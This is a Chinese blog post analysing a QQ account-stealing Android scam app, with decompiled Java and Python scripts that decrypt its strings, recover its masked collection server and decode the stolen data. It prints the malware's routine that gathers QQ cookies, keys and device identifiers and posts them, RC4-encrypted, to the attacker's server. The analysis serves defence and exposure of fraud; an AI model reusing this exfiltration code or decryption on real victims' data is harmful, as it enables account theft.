失败的逆向溯源:揭露QQ盗号诈骗APP的黑色幕后操作

admin 2024年3月5日00:22:40评论5 views字数 15097阅读50分19秒阅读模式

逆向溯源qq盗号诈骗app

起因

分析该app是源于朋友被盗号了,对方发了个app想盗号,这怎么能惯着他?这不得把他揪出来,不过事实证明到最后我也没能把他揪出来,技术有限

逆向过程

拿到样本app后,首先查壳,无壳,现在骗子难道不会加壳吗?管它呢,继续分析,可以看到下图显示出e4a的类名了,同时一些变量函数都是用中文命名的(e4a?初中就玩过的东西,现在居然还有人玩,居然还用来盗号?可耻)

失败的逆向溯源:揭露QQ盗号诈骗APP的黑色幕后操作
image-20230107170535403

既然如此,我们就寻根溯源试试能不能揪出来这个坟蛋,我们观察一下类名,c0000、c0001、c1、c2、c3、c4、c5,不太能看出来是啥,但是通过mt管理器反编译可以非常直观的看出来依次为 主窗口、窗口x...窗口5,大概就是窗口的加载方法,我们先看看主窗口的,也就是c0000,如下图:

失败的逆向溯源:揭露QQ盗号诈骗APP的黑色幕后操作
image-20230107170833859

快速过一遍他写的函数,发现其写了防抓包,检测root,获取权限等方法,但我们只需要关注重点即可,可以清楚地看到字符串都被加密了,好家伙,还留有一手,双击抠波666,接下来开始解密,我们可以看到每个加密字符串都是被 bdl.m1333A函数给调用了,那么我们直接看这个函数的声明即可,如下图所示:

失败的逆向溯源:揭露QQ盗号诈骗APP的黑色幕后操作
image-20230107171020412
import android.util.Base64;
import java.nio.charset.StandardCharsets;

public class bdl {
    /* renamed from: 껾금껚걿ꨰ궁깋겸ꨮA곢꬟곫갏  reason: not valid java name and contains not printable characters */
    public static String m1333A(String str) {
        byte[] decode = Base64.decode(str.getBytes(StandardCharsets.UTF_8), 8);
        for (int i = 0; i < decode.length; i++) {
            decode[i] = (byte) (decode[i] ^ 38);
        }
        return new String(decode, StandardCharsets.UTF_8);
    }
}

我的天呐,老哥,你在逗我吗,简简单单一个base64加密操作,这里注意一下第二个参数8,查官方说明为进行了url_safe操作:

https://github.com/aosp-mirror/platform_frameworks_base/blob/master/core/java/android/util/Base64.java

失败的逆向溯源:揭露QQ盗号诈骗APP的黑色幕后操作
image-20230107171227607

遇到这种情况完全不用慌,直接贴出python脚本如下:

import base64
def decrypt_unkonwn(encStr):
    missing_padding = 4 - len(encStr) % 4
    if missing_padding:
        encStr += '=' * missing_padding
    unb64Str=base64.urlsafe_b64decode(encStr.encode("utf-8"))
    toList=list(unb64Str)
    for i in range(len(toList)):
        toList[i]=toList[i]^38
    print(bytes(toList).decode())

str="RUlIUkNIUhtm"
decrypt_unkonwn(str)

解释一下叭,str为我们需要解密的字符串,自定义函数中的前三行为补齐base64要求的4的整数倍长度,不足补 = 即可,刚好url_safe操作base64库提供了函数urlsafe_b64decode,剩下的只需要注意字节转换即可

这样我们就能查看他的每一个加密值代表的含义了,但是找了一圈,并没有发现他获取数据的vps地址,但是把他整个盗号流程都给分析明白了

失败的逆向溯源:揭露QQ盗号诈骗APP的黑色幕后操作
image-20230107172047815

接下来我们去找他提交请求的地方,在c5即窗口5类中发现m26函数最后貌似做了一个请求,因为解密T0hCQ14IVk5WGUUbVklVUg的内容为index.php?c=post

失败的逆向溯源:揭露QQ盗号诈骗APP的黑色幕后操作
image-20230107172252502

于是可以猜测出前面的f25为域名,跟进f25,发现其在c0000类,即主窗口类中初始化:

失败的逆向溯源:揭露QQ盗号诈骗APP的黑色幕后操作
image-20230107172439864
失败的逆向溯源:揭露QQ盗号诈骗APP的黑色幕后操作
image-20230107172542763

通过上方代码可以看出我们只需要得到r0即可得到域名主体,因此我们跟进进行解密,往上溯源可以发现经过m946RC4函数

失败的逆向溯源:揭露QQ盗号诈骗APP的黑色幕后操作
image-20230107172717713

分析该函数发现经过RC4Base函数

失败的逆向溯源:揭露QQ盗号诈骗APP的黑色幕后操作
image-20230107172748473

分析该函数发现经过initKey函数

失败的逆向溯源:揭露QQ盗号诈骗APP的黑色幕后操作
image-20230107172812677

这样,我们就得到了一个完整的链条:initKey->RC4Base->m946RC4,最终得到r0,然后再经过一些过滤操作得到最终的主域名,我们逆向我们刚刚分析出的链条即可,贴出代码链如下(其中加密字符串以替换解密结果):

    private static byte[] initKey(String str) {
        if ((-8168 + 6036) % 6036 > 0) {
            int i = -54 + (-54 - -10096);
            while (true) {
                int i2 = i % i;
            }
        } else {
            try {
                byte[] bytes = str.getBytes(bdl.m1333A("GBK"));
                byte[] bArr = new byte[256];
                for (int i3 = 0; i3 < 256; i3++) {
                    bArr[i3] = (byte) i3;
                }
                if (bytes != null) {
                    if (bytes.length != 0) {
                        int i4 = 0;
                        int i5 = 0;
                        for (int i6 = 0; i6 < 256; i6++) {
                            i5 = ((bytes[i4] & 255) + (bArr[i6] & 255) + i5) & 255;
                            byte b = bArr[i6];
                            bArr[i6] = bArr[i5];
                            bArr[i5] = b;
                            i4 = (i4 + 1) % bytes.length;
                        }
                        return bArr;
                    }
                }
                return null;
            } catch (Exception e) {
                e.printStackTrace();
                return null;
            }
        }
    }

    private static byte[] RC4Base(byte[] bArr, String str) {
        byte[] initKey = initKey(str);
        byte[] bArr2 = new byte[bArr.length];
        int i = 0;
        int i2 = 0;
        for (int i3 = 0; i3 < bArr.length; i3++) {
            i = (i + 1) & 255;
            i2 = ((initKey[i] & 255) + i2) & 255;
            byte b = initKey[i];
            initKey[i] = initKey[i2];
            initKey[i2] = b;
            bArr2[i3] = (byte) (initKey[((initKey[i] & 255) + (initKey[i2] & 255)) & 255] ^ bArr[i3]);
        }
        return bArr2;
    }

    public static String m1333A(String str) {
        byte[] decode = Base64.decode(str.getBytes(StandardCharsets.UTF_8), 8);
        for (int i = 0; i < decode.length; i++) {
            decode[i] = (byte) (decode[i] ^ 38);
        }
        return new String(decode, StandardCharsets.UTF_8);
    }

    public static String m946RC4(String str, String str2) {
        if (!(str == null || str2 == null)) {
            try {
                return new String(RC4Base(HexString2Bytes(str), str2), bdl.m1333A("GBK"));
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
        return "";
    }
 
 public static String[] m1152(String str, String str2) {
        if ("".equals(str2) || "".equals(str)) {
            return new String[0];
        }
        if (str2.equals(bdl.m1333A("LA"))) {
            str = m1165(str, bdl.m1333A("Kw"), "");
        }
        if (m1161(str, m1163(str2)).equals(str2)) {
            return m1158(str2 + str, str2, str2);
        }
        return m1158(str2 + str + str2, str2, str2);
    }

    public void m1$() {
        this.f3ok1.m618();
        if (IntegerVariant.getIntegerVariant(AbstractC0037.m1029SDK()).cmp(ByteVariant.getByteVariant((byte23)) >= 0) {
            this.f151.m755(C0044.m1152(bdl.m1333A("android.permission.WRITE_EXTERNAL_STORAGE"), bdl.m1333A("-")));
        }
        C0001.jiekoue = bdl.m1333A("D9C8E1CA037xxxxxxx2B4211D2");
        String r0 = C0028.m946RC4(C0001.jiekoue, bdl.m1333A("ssdnun"));   //
        this.MYDZ = r0;
        String[] r02 = C0044.m1152(r0, bdl.m1333A("----"));
        this.f11 = r02;
        C0001.f25 = r02[0];
        C0001.fentai = this.f11[1];
        this.f81.m4862(bdl.m1333A("https://ip.useragentinfo.com/json"), bdl.m1333A("UTF-8"));
        this.f7.m313(1000);
    }

因此我们只需要跟着流程写一下脚本即可,贴出python脚本如下:

import binascii
def initKey(str):
        bytesStr=str.encode("GBK")
        bArr=[0]*256
        for i3 in range(256):
            bArr[i3]=i3
        i4=0
        i5=0
        for i6 in range(256):
            i5=((bytesStr[i4]&255)+(bArr[i6]&255)+i5)&255
            b=bArr[i6]
            bArr[i6]=bArr[i5]
            bArr[i5]=b
            i4=(i4+1)%len(bytesStr)
        return bArr
def RC4Base(bArr,str):
    inikey=initKey(str)
    bArr2=[0]*len(bArr)
    i=i2=0
    for i3 in range(0,len(bArr)):
        i=(i+1)&255
        i2=((inikey[i]&255)+i2)&255
        b=inikey[i]
        inikey[i]=inikey[i2]
        inikey[i2]=b
        bArr2[i3]=(inikey[((inikey[i]&255)+(inikey[i2]&255))&255]^bArr[i3])
    return bArr2
str1='D9C8E1CA037xxxxxxx2B4211D2'
str2='ssdnun'
r0=RC4Base(list(binascii.a2b_hex(str1.encode('utf-8'))),str2)
print(bytes(r0))

由于涉及可恶的盗号人的域名,因此我将部分关键密文给打马了,希望大家不要介意,最终得出对方vps如下:

失败的逆向溯源:揭露QQ盗号诈骗APP的黑色幕后操作
image-20230107173427629

接下来去看看他的vps,他使用了某开源程序,删除了大部分功能,所有功能就留了一个post请求的功能,接口如下:

失败的逆向溯源:揭露QQ盗号诈骗APP的黑色幕后操作
image-20230107173648794
POST http://jixxx.xxx.xxine/index.php?c=post HTTP/1.1
Host: jixxx.xxx.xxine
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=bj35ua3kfaaj49t36i9q81u1ig
DNT: 1
X-Forwarded-For: 8.8.8.8
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

content=@xxxxxxxxxxxxxxxxxxxxxx@

只能说,真可恶,没办法继续渗透下去了,但是通过子域名发现其绑定了很多主机,并且开放了两个phpmyadmin站点,其它大概七八个均为同样的盗号数据回连站点。

失败的逆向溯源:揭露QQ盗号诈骗APP的黑色幕后操作
image-20230107174123373

分析总结

他是二开了https://www.hadsky.com/home.html的开源代码,但大部分功能均已被删掉。app里还涉及了对盗取的qq的key、token加密的算法,此处我没继续分析,因为分析了也没啥意义,分析该算法只能拿到他盗取的qq的登录凭证,我又不是来盗号的。文中因为多处涉及个人隐私问题,而其站点存在大部分盗取qq的登录凭证,因此所有相关信息处均已打码。

盗取的账号加密分析

想来想去我还是挺难受的,看他每天几百条的骗取别人的qq,心里很难受,我决定做点什么,但又做不了什么,因为我一旦ddos他的vps,他又会换一个vps继续盗号,于是,没事干就分析下加密吧,正好再熟悉熟悉写脚本。

ok,继续分析提交的qq的信息的解密函数,这里还是直接定位到c5窗口的函数m26,贴出解密链代码如下,加密信息已由之前写的解密代码解密:

    public void m26() {
        if ((15901 - 8648) % -8648 <= 0) {
            int i = 16531 + (16531 - -11679);
            while (true) {
                int i2 = i % i;
            }
        } else {
            if (C0001.bssid.equals("")) {
                C0001.bssid = bdl.m1333A("0081b6a7db07");
            }
            if (C0001.model.equals("")) {
                C0001.model = this.f621.m713();
            }
            if (C0001.brand.equals("")) {
                C0001.brand = this.f621.m712();
            }
            StringBuilder sb = new StringBuilder();
            StringBuilder sb2 = new StringBuilder();
            StringBuilder sb3 = new StringBuilder();
            StringBuilder sb4 = new StringBuilder();
            StringBuilder sb5 = new StringBuilder();
            StringBuilder sb6 = new StringBuilder();
            StringBuilder sb7 = new StringBuilder();
            StringBuilder sb8 = new StringBuilder();
            StringBuilder sb9 = new StringBuilder();
            StringBuilder sb10 = new StringBuilder();
            StringBuilder sb11 = new StringBuilder();
            StringBuilder sb12 = new StringBuilder();
            StringBuilder sb13 = new StringBuilder();
            StringBuilder sb14 = new StringBuilder();
            sb14.append(bdl.m1333A("程序ID----") + C0001.subappid);
            sb14.append(bdl.m1333A("----品牌----"));
            sb13.append(sb14.toString());
            sb13.append(C0001.brand);
            sb12.append(sb13.toString());
            sb12.append(bdl.m1333A("----型号----"));
            sb11.append(sb12.toString());
            sb11.append(C0001.model);
            sb10.append(sb11.toString());
            sb10.append(bdl.m1333A("----bssid----"));
            sb9.append(sb10.toString());
            sb9.append(C0001.bssid);
            sb8.append(sb9.toString());
            sb8.append(bdl.m1333A("----cook----"));
            sb7.append(sb8.toString());
            sb7.append(C0001.cook);
            sb6.append(sb7.toString());
            sb6.append(bdl.m1333A("----KEY----"));
            sb5.append(sb6.toString());
            sb5.append(C0001.f27key);
            sb4.append(sb5.toString());
            sb4.append(bdl.m1333A("----guid----"));
            sb3.append(sb4.toString());
            sb3.append(C0001.guid);
            sb2.append(sb3.toString());
            sb2.append(bdl.m1333A("----qimei----"));
            sb.append(sb2.toString());
            sb.append(C0001.qimei);
            String sb15 = sb.toString();
            this.f58 = sb15;
            String r2 = bdl.m1333A("888888");
            this.f58 = C0028.m944RC4(sb15, r2);
            StringBuilder sb16 = new StringBuilder();
            StringBuilder sb17 = new StringBuilder();
            StringBuilder sb18 = new StringBuilder();
            StringBuilder sb19 = new StringBuilder();
            StringBuilder sb20 = new StringBuilder();
            StringBuilder sb21 = new StringBuilder();
            StringBuilder sb22 = new StringBuilder();
            StringBuilder sb23 = new StringBuilder();
            StringBuilder sb24 = new StringBuilder();
            StringBuilder sb25 = new StringBuilder();
            StringBuilder sb26 = new StringBuilder();
            StringBuilder sb27 = new StringBuilder();
            sb27.append(bdl.m1333A("[") + C0001.fentai);
            sb27.append(bdl.m1333A("]账号----"));
            sb26.append(sb27.toString());
            sb26.append(C0001.QQ);
            sb25.append(sb26.toString());
            sb25.append(bdl.m1333A("----设备参数----"));
            sb24.append(sb25.toString());
            sb24.append(this.f58);
            sb23.append(sb24.toString());
            sb23.append(bdl.m1333A("----账号地区----"));
            sb22.append(sb23.toString());
            sb22.append(C0001.f22);
            sb21.append(sb22.toString());
            sb21.append(bdl.m1333A("----原始----"));
            sb20.append(sb21.toString());
            sb20.append(C0001.sjh);
            sb19.append(sb20.toString());
            sb19.append(bdl.m1333A("----运行时间----"));
            sb18.append(sb19.toString());
            sb18.append(C0045.m1182(bdl.m1333A("-")));
            sb17.append(sb18.toString());
            sb17.append(bdl.m1333A("|"));
            sb16.append(sb17.toString());
            sb16.append(C0045.m1185(bdl.m1333A(":")));
            C0001.f23 = sb16.toString();
            String str = C0001.f23;
            String r3 = bdl.m1333A("UTF-8");
            C0001.f23 = C0049.m1261URL(str, r3);//urlencode
            this.f57 = C0028.m944RC4(C0001.f23, r2);
            Log.m68(bdl.m1333A("这是传递参数") + this.f57);
            StringBuilder sb28 = new StringBuilder();
            sb28.append(bdl.m1333A("content=@") + this.f57);
            sb28.append(bdl.m1333A("@"));
            this.f611.m4834(C0001.f25 + bdl.m1333A("index.php?c=post"), sb28.toString(), r3);


    /* renamed from: RC4加密  reason: contains not printable characters */
    public static String m944RC4(String str, String str2) {
        if (!(str == null || str2 == null)) {
            try {
                byte[] RC4Base = RC4Base(str.getBytes(bdl.m1333A("GBK")), str2);
                char[] cArr = {'0''1''2''3''4''5''6''7''8''9''A''B''C''D''E''F'};
                int length = RC4Base.length;
                char[] cArr2 = new char[(length * 2)];
                int i = 0;
                for (byte b : RC4Base) {
                    int i2 = i + 1;
                    cArr2[i] = cArr[(b >>> 4) & 15];
                    i = i2 + 1;
                    cArr2[i2] = cArr[b & 15];
                }
                return new String(cArr2);
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
        return "";
    }

我们可以看到还是调用了RC4Base函数,因为上方已经把这个函数用python整理出来了,因此,这里我们直接贴出m944RC4函数的解密脚本:

import ctypes
def int_overflow(val):
    maxint = 2147483647
    if not -maxint-1 <= val <= maxint:
        val = (val + (maxint + 1)) % (2 * (maxint + 1)) - maxint - 1
    return val


def unsigned_right_shitf(n,i):
    # 数字小于0,则转为32位无符号uint
    if n<0:
        n = ctypes.c_uint32(n).value
    # 正常位移位数是为正数,但是为了兼容js之类的,负数就右移变成左移好了
    if i<0:
        return -int_overflow(n << abs(i))
    #print(n)
    return int_overflow(n >> i)
# 参数分别是要移的数字和移多少位

def RC4dec(str):
    ret=[]
    cArr=['0''1''2''3''4''5''6''7''8''9''A''B''C''D''E''F']
    i=0
    for c in range(len(str)//2):
        i2=i+1
        for b in range(256):
            if (cArr[unsigned_right_shitf(b,4) & 15] == str[i]) and (cArr[b&15]==str[i2]) :
                ret.append(b)
        i = i2 + 1
    return ret

def RC4BaseDec(bArr,str):
    initkey=initKey(str)
    i=i2=0
    ret=[0]*len(bArr)
    for i3 in range(len(bArr)):
        i=(i+1)&255
        i2=((initkey[i]&255)+i2)&255
        b=initkey[i]
        initkey[i]=initkey[i2]
        initkey[i2]=b
        ret[i3]=(initkey[((initkey[i] & 255) + (initkey[i2] & 255)) & 255])^bArr[i3]
    return bytes(ret).decode('GBK')
import urllib.parse
print(urllib.parse.unquote(RC4BaseDec(RC4dec(qqContent),'888888')))//qqcontent为对方提交的加密值,也是网站内留言板部分的值

需要注意的一点是java的无符号右移运算符为 >>> 而python没有无符号右移的运算符,因此上方解密代码中的前两个函数为无符号右移的算法,来看看最终的解密效果:

失败的逆向溯源:揭露QQ盗号诈骗APP的黑色幕后操作
image-20230109183317018

可以看到上图中设备参数仍是密文,经过反编译的代码可以发现其加密仍是调用了m944RC4函数,因此我们再使用上面的脚本解密一次即可,效果如下:

失败的逆向溯源:揭露QQ盗号诈骗APP的黑色幕后操作
image-20230109183239637

总结

对方开发的盗号网站特征:

鹰图:web.body="cynocllPHP"

fofa:body="cynocllPHP"

原文始发于微信公众号(不懂安全的果仁):失败的逆向溯源:揭露QQ盗号诈骗APP的黑色幕后操作

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月5日00:22:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   失败的逆向溯源:揭露QQ盗号诈骗APP的黑色幕后操作https://cn-sec.com/archives/2545987.html

发表评论

匿名网友 填写信息